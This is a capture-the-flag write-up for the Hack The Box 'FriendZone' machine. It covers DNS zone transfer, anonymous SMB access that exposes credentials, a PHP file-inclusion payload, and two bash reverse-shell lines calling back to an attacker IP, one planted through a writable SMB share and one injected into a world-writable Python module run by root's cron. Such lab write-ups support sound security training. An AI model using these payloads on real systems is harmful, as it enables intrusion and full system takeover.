FriendZone Writeup

25 February 2023 #CTF #HTB #box #easy #linux

friendzone info

Enumeration

nmap WILL help you escape the friend zone:

$ sudo nmap -n -Pn -sCV -oN enum/initial.nmap 10.10.10.123
[...]
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 3.0.3
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a96824bc971f1e54a58045e74cd9aaa0 (RSA)
|   256 e5440146ee7abb7ce91acb14999e2b8e (ECDSA)
|_  256 004e1a4f33e8a0de86a6e42a5f84612b (ED25519)
53/tcp  open  domain      ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Friend Zone Escape software
|_http-server-header: Apache/2.4.29 (Ubuntu)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open  ssl/http    Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
| Not valid before: 2018-10-05T21:02:30
|_Not valid after:  2018-11-04T21:02:30
|_http-title: 404 Not Found
| tls-alpn: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Hosts: FRIENDZONE, 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -40m00s, deviation: 1h09m16s, median: -1s
| smb2-time: 
|   date: 2023-02-11T22:58:41
|_  start_date: N/A
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: friendzone
|   NetBIOS computer name: FRIENDZONE\x00
|   Domain name: \x00
|   FQDN: friendzone
|_  System time: 2023-02-12T00:58:41+02:00
[...]

FTP

Let's see if we can access the FTP server anonymously:

$ ftp anonymous@10.10.10.123
Connected to 10.10.10.123.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
530 Login incorrect.

Nope, and I couldn't find anything for that version on searchsploit so we'll just move on.

DNS

Since DNS is listening on TCP, we might be able to do a zone transfer (we know the friendzone.red domain from the SSL cert in the nmap output):

$ dig @10.10.10.123 AXFR friendzone.red

; <<>> DiG 9.18.11-2-Debian <<>> @10.10.10.123 AXFR friendzone.red
; (1 server found)
;; global options: +cmd
friendzone.red.         604800  IN      SOA     localhost. root.localhost. 2 604800 86400 2419200 604800
friendzone.red.         604800  IN      AAAA    ::1
friendzone.red.         604800  IN      NS      localhost.
friendzone.red.         604800  IN      A       127.0.0.1
administrator1.friendzone.red. 604800 IN A      127.0.0.1
hr.friendzone.red.      604800  IN      A       127.0.0.1
uploads.friendzone.red. 604800  IN      A       127.0.0.1
friendzone.red.         604800  IN      SOA     localhost. root.localhost. 2 604800 86400 2419200 604800
;; Query time: 24 msec
;; SERVER: 10.10.10.123#53(10.10.10.123) (TCP)
;; WHEN: Thu Feb 23 18:53:03 CET 2023
;; XFR size: 8 records (messages 1, bytes 289)

Nice, it works. We'll add all of these new subdomains to our /etc/hosts.

SMB

Let's try our luck again with anonymous authentication and list the shares:

$ crackmapexec smb 10.10.10.123 -u '' -p '' --shares
SMB         10.10.10.123    445    FRIENDZONE       [*] Windows 6.1 (name:FRIENDZONE) (domain:) (signing:False) (SMBv1:True)
SMB         10.10.10.123    445    FRIENDZONE       [+] \:
SMB         10.10.10.123    445    FRIENDZONE       [+] Enumerated shares
SMB         10.10.10.123    445    FRIENDZONE       Share           Permissions     Remark
SMB         10.10.10.123    445    FRIENDZONE       -----           -----------     ------
SMB         10.10.10.123    445    FRIENDZONE       print$                          Printer Drivers
SMB         10.10.10.123    445    FRIENDZONE       Files                           FriendZone Samba Server Files /etc/Files
SMB         10.10.10.123    445    FRIENDZONE       general         READ            FriendZone Samba Server Files
SMB         10.10.10.123    445    FRIENDZONE       Development     READ,WRITE      FriendZone Samba Server Files
SMB         10.10.10.123    445    FRIENDZONE       IPC$                            IPC Service (FriendZone server (Samba, Ubuntu))

In the 'general' share, there is just 1 file:

$ smbclient -N //10.10.10.123/general
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jan 16 21:10:51 2019
  ..                                  D        0  Tue Sep 13 16:56:24 2022
  creds.txt                           N       57  Wed Oct 10 01:52:42 2018

                3545824 blocks of size 1024. 1590752 blocks available
smb: \> get creds.txt
getting file \creds.txt of size 57 as creds.txt (0.5 KiloBytes/sec) (average 0.5 KiloBytes/sec)

$ cat creds.txt
creds for the admin THING:

admin:WORKWORKHhallelujah@#

We got some creds but we don't know where to use them yet.

The 'Development' share is empty but we can write to it.

We can use the netshareenumall RPC command to get some more information about the shares:

$ rpcclient -U % 10.10.10.123 -c netshareenumall
netname: print$
	remark:	Printer Drivers
	path:	C:\var\lib\samba\printers
	password:	
netname: Files
	remark:	FriendZone Samba Server Files /etc/Files
	path:	C:\etc\hole
	password:	
netname: general
	remark:	FriendZone Samba Server Files
	path:	C:\etc\general
	password:	
netname: Development
	remark:	FriendZone Samba Server Files
	path:	C:\etc\Development
	password:	
netname: IPC$
	remark:	IPC Service (FriendZone server (Samba, Ubuntu))
	path:	C:\tmp
	password:	

The path of the shares will come in handy soon enough.

We need to use -U % to login anonymously.

HTTP

Navigating to http://10.10.10.123, we get a static page:

index IP

There is another domain name, but it doesn't have anything interesting.

administrator1.friendzone.red

Here we have a login page (the virtual host is only available via HTTPS):

login page

The creds we got from the SMB share (admin:WORKWORKHhallelujah@#) work:

after login

Alright, let's go to /dashboard.php:

dashboard

It is telling us about some missing parameters. Let's add them. https://administrator1.friendzone.red?image_id=a.jpg&pagename=timestamp:

add parameters

The pagename parameter sounds interesting. We can check if timestamp.php exists:

timestamp.php

It does and it corresponds to what was displayed on the dashboard.

Foothold

The application probably includes whatever is in the pagename parameter and appends .php to it.

To confirm this theory, we can use php filters to extract the php source code by base64 encoding it. Use this payload in the pagename parameter:
php://filter/convert.base64-encode/resource=dashboard

php filter to extract php source code

It works, however we can only include files that end in .php, so trying to get code execution within the Apache log (for example) won't work here.

Luckily, we have access to a writable SMB share and we know it is located in /etc/Development. Let's start by creating a simple php reverse shell:

<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.4/666 0>&1'"); ?>

Then upload it to the share:

$ smbclient -N //10.10.10.123/Development -c 'put shell.php'
putting file shell.php as \shell.php (1.0 kb/s) (average 1.0 kb/s)

We can now include it by putting /etc/Development/shell in the pagename parameter and get a reverse shell.

Privesc

Find Creds in WebRoot

We can find some creds in the web root:

www-data@FriendZone:/var/www$ cat mysql_data.conf
for development process this is the mysql creds for user friend

db_user=friend

db_pass=Agpyu12!0.213$

db_name=FZ

MySQL isn't running on the host but the password is reused for the local account 'friend'. We can either use su -l friend or ssh to login.

Abuse Writable Python Module

There is a custom python script in /opt/server_admin:

#!/usr/bin/python

import os

to_address = "admin1@friendzone.com"
from_address = "admin2@friendzone.com"

print "[+] Trying to send email to %s"%to_address

#command = ''' mailsend -to admin2@friendzone.com -from admin1@friendzone.com -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''

#os.system(command)

# I need to edit the script later
# Sam ~ python developer

It imports the 'os' module but doesn't do anything with it. We'll upload pspy on the box to check if the script is actually being executed:

friend@FriendZone:/dev/shm$ ./pspy64
[...]
2023/02/23 19:44:01 CMD: UID=0     PID=2672   | /usr/bin/python /opt/server_admin/reporter.py
2023/02/23 19:44:01 CMD: UID=0     PID=2671   | /bin/sh -c /opt/server_admin/reporter.py
2023/02/23 19:44:01 CMD: UID=0     PID=2670   | /usr/sbin/CRON -f
[...]

Indeed, a cron job as root executes the python script (every 2 minutes).

Let's continue the enumeration by looking at the writable files for our user:

friend@FriendZone:~$ find / -type f -writable -ls 2>/dev/null | grep -vE '/sys|/proc|/run'
    21694      4 -rw-rw----   1 friend   mail            1 Jan 15  2019 /var/mail/friend
    36307      4 -rw-r--r--   1 friend   friend        220 Oct  5  2018 /home/friend/.bash_logout
    36308      4 -rw-r--r--   1 friend   friend       3771 Oct  5  2018 /home/friend/.bashrc
    36310      4 -rw-r--r--   1 friend   friend        807 Oct  5  2018 /home/friend/.profile
    36313      0 -rw-r--r--   1 friend   friend          0 Oct  5  2018 /home/friend/.cache/motd.legal-displayed
       98     28 -rw-rw-r--   1 friend   friend      25583 Jan 15  2019 /usr/lib/python2.7/os.pyc
    20473     28 -rwxrwxrwx   1 root     root        25910 Jan 15  2019 /usr/lib/python2.7/os.py

Interestingly, the os python module is world writable. We can exploit it by adding some python code that will send us a reverse shell when the cron job gets executed:

friend@FriendZone:~$ tail -4 /usr/lib/python2.7/os.py
except NameError: # statvfs_result may not exist
    pass

system("bash -c 'bash -i >& /dev/tcp/10.10.14.4/1337 0>&1'")

Now it's just a matter of waiting at most 2 minutes before getting our reverse shell as root.

Key Takeaways